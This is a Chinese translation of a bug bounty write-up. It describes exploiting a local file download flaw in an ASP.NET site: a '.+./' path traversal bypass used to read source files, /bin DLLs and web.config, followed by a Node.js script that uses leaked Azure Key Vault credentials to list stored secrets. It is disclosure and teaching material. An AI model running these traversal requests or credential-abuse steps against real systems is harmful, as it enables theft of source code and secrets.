ASP.NET的Web应用中比较常见的漏洞之一是本地文件泄露。如果您从未研究过相关技术,那么如何利用本地文件下载漏洞(LFD)可能会让您感到无所适从。在下面的文章中,我将描述一个受LFD漏洞影响的Web应用,然后利用这个漏洞控制伺服器。

确认漏洞

在测试目标网站时,我看到了这样一个url…

https://domain.com/utility/download.aspx?f=DJ/lc1jVgHTZF...

当载入页面时,这个url会从伺服器上的另一个路径下载帮助文档。我不认为我能够篡改这个url,因为它的参数是被加密的,但是再一想。如果我能够找到密钥来解密参数(可能是AES加密演算法),那么我可以伪造参数并找到一个LFD漏洞。

令我惊讶的是,我最终看到在这个网站的老版本上看到了相同功能的链接,具有如下

https://domain.com/utility/download.aspx?f=file1234.docx

这个请求的并返回包内容如下

HTTP/1.1 200 OK
Connection: close
Content-Length: 27363

?ó|u?Z^tù¢y?ˉ;!Y,}{?C?3/h>
...

我看到这之后做的第一件事是把字元串download.aspx作为参数,令我惊讶的是,请求返回了这个页面的源码。

GET /utility/download.aspx?f=download.aspx

HTTP/1.1 200 OK
Connection: close
Content-Length: 263

<%@ Page Language="C#" AutoEventWireup="true" Debug="true" %>
...

读取download.aspx的源码表明我可以访问任意文件,但这其实还是存在限制,因为真正的源代码(存储文件的实际来源)位于文件filename.aspx.cs。我尝试读取它,但并没有用。

事实证明,在我的测试这个漏洞过程的中,始终无法访问.aspx.cs文件。 (有关.aspx和.aspx.cs文件之间差异, stackoverflow.com/quest )。

我必须找到解决这个问题的方法,但是现在,让我们尝试从不同的目录中读取尽可能多的文件,这样我们就可以了解更多。

绕过遍历文件的阻碍

我在测试过程发现我无法在末尾添加两个点(..),否则请求将响应400。

为了绕过,我采取的一种模糊测试看是否有任何字元可以生效。

我使用了以下请求...

GET /utility/download.aspx?f=.[fuzz]./utility/download.aspx

我开始手动遍历所有字元直到看到含有.+./utility/download.aspx的url成功返回了download.aspx的内容。很好,现在我们就可以遍历目录了。为什么这样会生效?我不确定。我在我自己的搭建的ASP.NET应用上尝试过这个,看看它是否具有通用性,但测试过不行。我的猜测是这和Window中含有空格文件名的内部逻辑有关,但我还未彻底研究。

证明漏洞影响

因为我现在可以跨目录读取阅读文件,所以我尝试的第一件事就是读取.ashx文件。因为这些是处理程序而不是表示文件( dotnetperls.com/ashx ),我猜测它们也能被访问。

果然有效!

HTTP/1.1 200 OK
Connection: close
Content-Length: 2398

<%@ WebHandler Language="C#" Class="redacted.redacted" %>

Imports System
Imports System.Data
Imports System.Data.SqlClient
Imports System.IO
Imports System.Web
Imports System.Configuration
...

这至少表明我能够读取一些更为敏感的东西。我的下一步是阅读更多的源代码。

我在阅读ASP.NET文档时发现的一点是,编译后的类保存在/bin/className.dll中。这意味著我们应该能够提取.ashx文件中引用的类名。

通过发送以下请求,我能够读取源文件的DLL(有关DLL的更多信息, blogs.msdn.microsoft.com

GET /utility/download.aspx?f=.+./.+./bin/redacted.dll

下载后,我可以使用使用dnSpy导入DLL并恢复应用程序的源,此外还有更多的类可以从中取得。

web.config 泄露 Azure Key,漏洞影响达到致命

web.config是ASP.NET应用中最常使用的文件之一。

这个文件本质上是一个设置文件,包含从单个页面到整个Web伺服器的所有额外变数。这里也存储了许多敏感信息,比如资料库的凭证、上面提及的参数的加密密钥,以及应用程序使用的内部介面。

下面是一个web.config文件的示例

<?xml version="1.0" encoding="utf-8"?>
<!--
For more information on how to configure your ASP.NET application, please visit
http://go.microsoft.com/fwlink/?LinkId=301880
-->
<configuration>
<appSettings>
<add key="webpages:Version" value="3.0.0.0" />
<add key="webpages:Enabled" value="false" />
<add key="ClientValidationEnabled" value="true" />
<add key="UnobtrusiveJavaScriptEnabled" value="true" />

<add key="PodioClientId" value="" />
<add key="PodioClientSecret" value="" />

<add key="AppId" value="" />
<add key="SpaceId" value="" />
</appSettings>

<connectionStrings>
<remove name="umbracoDbDSN" />
<add name="PodioAspnetSampleDb" connectionString="server=WSA07;database=PodioAspnetSampleDb;user id=sa;password=pass" providerName="System.Data.SqlClient" />
</connectionStrings>

<system.web>
<compilation debug="true" targetFramework="4.5" />
<httpRuntime targetFramework="4.5" />
</system.web>
</configuration>

为了读取目标的web.config文件,只需发送以下请求

GET /utility/download.aspx?f=.+./.+./web.config

该请求返回的内容包括了很多敏感信息——但最糟糕的是暴露了以下密钥

...
<add key="keyVaultDataPlaneUri" value="redacted" />
<add key="uniqueKeyVaultNameUri" value="redacted" />
<add key="keyVaultClientId" value="redacted" />
<add key="keyVaultClientSecretIdentifier" value="redacted" />
<add key="keyVaultClientTenantName" value="redacted" />
<add key="keyVaultAuthenticationContextUri" value="redacted" />
<add key="keyVaultApiVersion" value="2016-10-01" />
...

如果正确使用,我就可以访问Azure Key Vault实例。Azure Key Vault通常用于为Web应用保存密钥和秘密,通常是一些非常敏感的数据。

接下来的问题是找到正确的方式来发送请求。在与shubs交谈之后,他快速地写出一个Node.js脚本,以便使用泄露的密钥访问Azure Key Vault实例…

var KeyVault = require(azure-keyvault);
var AuthenticationContext = require(adal-node).AuthenticationContext;

var clientId = "clientId";
var clientSecret = "clientSecret";
var vaultUri = "vaultUri";

// Authenticator - retrieves the access token
var authenticator = function (challenge, callback) {

// Create a new authentication context.
var context = new AuthenticationContext(challenge.authorization);

// Use the context to acquire an authentication token.
return context.acquireTokenWithClientCredentials(challenge.resource, clientId, clientSecret, function (err, tokenResponse) {
if (err) throw err;
// Calculate the value to be set in the requests Authorization header and resume the call.
var authorizationValue = tokenResponse.tokenType + + tokenResponse.accessToken;
console.log(authorizationValue);
return callback(null, authorizationValue);
});

};

var credentials = new KeyVault.KeyVaultCredentials(authenticator);
var client = new KeyVault.KeyVaultClient(credentials);

client.getSecrets(vaultUri).then(function(value) {
console.log(value);
});

接受到的回应

{ id:
https://redacted.vault.azure.net/secrets/ftp_credentials,
attributes:
{ enabled: true,
created: 2018-01-23T22:14:18.000Z,
updated: 2018-01-23T22:14:18.000Z,
recoveryLevel: Purgeable },
contentType: secret } ]

... more secrets ...

到这里,这次渗透就结束了,因为最后我们已经可以完全在系统上进行写和读。

重点回顾

ASP.NET不能访问源文件?从/bin/className.dll读取。

想看一些很敏感的数据吗?从web.config中读取。

如果您想更好地渗透ASP.NET应用,请花一些时间研究它们。如果您能够克服几乎每个请求中都带有的看上去很糟糕的令牌,那么您将开始注意到许多应用都会存在的漏洞(XSS、身份验证绕过、shell上传、LFD和LFI等)。

节日快乐!

——@samwcyo

时间线

漏洞上报——2018年9月25日

漏洞鉴别——2018年9月27日

奖励17000美元——2018年9月29日

来源:价值17000美元的本地文件下载漏洞|NOSEC安全讯息平台 - NOSEC.ORG

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网路空间安全搜索引擎、FOEYE-网路空间检索系统、NOSEC-安全讯息平台。

为您提供:网路空间测绘、企业资产收集、企业威胁情报、应急响应服务。

推荐阅读:

相关文章